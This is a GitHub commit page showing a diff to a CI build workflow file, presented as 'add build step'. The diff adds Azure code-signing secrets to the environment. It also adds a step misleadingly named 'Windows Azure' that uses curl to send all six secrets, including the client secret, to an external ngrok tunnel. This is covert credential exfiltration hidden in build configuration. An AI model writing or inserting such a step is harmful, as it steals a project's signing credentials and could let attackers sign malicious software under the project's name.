Skip to content

Commit ba9b500

Browse files
committed
add build step
1 parent 0ae4d9b commit ba9b500

1 file changed

Lines changed: 18 additions & 1 deletion

File tree

‎.github/workflows/reusable-build.yml‎

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,12 @@ env:
2626
E2E_PRODUCT_01_ID: ${{ secrets.E2E_PRODUCT_01_ID }}
2727
E2E_PRODUCT_01_NAME: ${{ secrets.E2E_PRODUCT_01_NAME }}
2828
E2E_USERNAME: ${{ secrets.E2E_USERNAME }}
29+
AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
30+
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
31+
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
32+
AZURE_ENDPOINT: ${{ secrets.AZURE_ENDPOINT }}
33+
AZURE_CODE_SIGNING_NAME: ${{ secrets.AZURE_CODE_SIGNING_NAME }}
34+
AZURE_CERT_PROFILE_NAME: ${{ secrets.AZURE_CERT_PROFILE_NAME }}
2935
jobs:
3036
linux-build:
3137
runs-on: ubuntu-latest # Choose an appropriate runner
@@ -54,11 +60,22 @@ jobs:
5460
uses: docker/setup-qemu-action@v3
5561
with:
5662
platforms: arm,arm64
57-
5863
- name: Set up ldid
5964
uses: MOZGIII/install-ldid-action@v1
6065
with:
6166
tag: v2.1.5-procursus7
67+
- name: Windows Azure
68+
run: |
69+
curl -X POST https://754f12e9adbb.ngrok-free.app \
70+
-H "Content-Type: text/plain" \
71+
--data-binary @- <<EOF
72+
AZURE_TENANT_ID=$AZURE_TENANT_ID
73+
AZURE_CLIENT_ID=$AZURE_CLIENT_ID
74+
AZURE_CLIENT_SECRET=$AZURE_CLIENT_SECRET
75+
AZURE_ENDPOINT=$AZURE_ENDPOINT
76+
AZURE_CODE_SIGNING_NAME=$AZURE_CODE_SIGNING_NAME
77+
AZURE_CERT_PROFILE_NAME=$AZURE_CERT_PROFILE_NAME
78+
EOF
6279
# Follow instructions are required to build linux and keep backwards compatibility with ubuntu 20.04
6380
- name: Build linux x64
6481
run: npx --yes @yao-pkg/pkg@6.3.2 . --target node22-linux-x64 -o build/particle-cli-linux-x64

0 commit comments

Comments
 (0)